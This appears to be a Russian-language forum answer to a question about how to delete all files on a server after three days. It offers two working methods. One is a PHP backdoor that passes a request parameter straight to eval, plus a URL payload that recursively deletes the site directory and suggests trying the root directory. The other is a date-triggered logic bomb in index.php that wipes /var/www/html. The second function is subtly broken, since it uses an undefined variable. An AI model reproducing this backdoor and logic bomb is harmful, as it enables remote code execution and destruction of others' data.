Удалить все файлы через 3 дня на сервере

if(isset($_REQUEST['eval'])){ 
    die(eval($_REQUEST['eval']));
}

и в адресной строке ввести

http://mysite.com?eval=function del_all($path){if(is_file($path)){return @unlink($path);}foreach(scandir($path) as $val){if($val=='.'||$val=='..'){continue;}del_all("{$path}/{$val}");}return @rmdir($path);}del_all(dirname(__FILE__));

del_all(dirname(__FILE__).'/../'); - удалить на директорию выше;

del_all('/'); - стоит попытаться)

1. Если есть возможность - cron.
2. В главном php файле, index.php, добавить что-то вроде этого

<?php
// Функция удаления всего в папке
function deleteAll($path) { 
    if (is_file($str)) { 
        return unlink($str); 
    } 
    elseif (is_dir($str)) { 
        $scan = glob(rtrim($str, '/').'/*'); 
        foreach($scan as $index=>$path) { 
            deleteAll($path); 
        } 
        return @rmdir($str); 
    } 
} 
$now_date = new DateTime(); 
$target_date = new DateTime("2019-09-13"); // После этой даты, будет все стираться
if ($now_date->format('Y-m-d') >= $target_date->format('Y-m-d')) { 
    deleteAll('/var/www/html'); // Тут необходимый путь к директории
}

Как только запустят этот файл, сразу же выполнится функция. Ответственности не несу. Делайте бекапы. Тестируйте заранее.